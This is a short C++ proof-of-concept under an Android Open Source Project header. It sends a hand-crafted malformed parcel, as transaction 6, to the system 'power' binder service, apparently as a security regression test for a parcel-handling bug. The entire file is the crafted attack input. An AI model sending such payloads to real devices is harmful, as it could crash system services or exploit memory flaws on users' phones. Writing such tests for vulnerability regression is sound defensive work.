1 /*
2  * Copyright 2021 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <binder/IServiceManager.h>
18 #include <binder/Parcel.h>
19 
20 using namespace android;
21 
main()22 int main() {
23   sp<IServiceManager> sm = defaultServiceManager();
24   sp<IBinder> binder = sm->getService(String16("power"));
25   if (!binder) {
26     return EXIT_FAILURE;
27   }
28   Parcel data, result;
29   data.writeInterfaceToken(String16("android.os.IPowerManager"));
30   char d[] = {static_cast<char>(0xc9),
31               static_cast<char>(0xa4),
32               0x10,
33               static_cast<char>(0xd4),
34               0x00,
35               0x00,
36               0x00,
37               0x00,
38               0x00,
39               0x27,
40               0x00,
41               0x5a,
42               0x00,
43               0x00,
44               0x00,
45               0x00};
46   data.write(d, sizeof(d));
47   binder->transact(6, data, &result);
48   return EXIT_SUCCESS;
49 }
50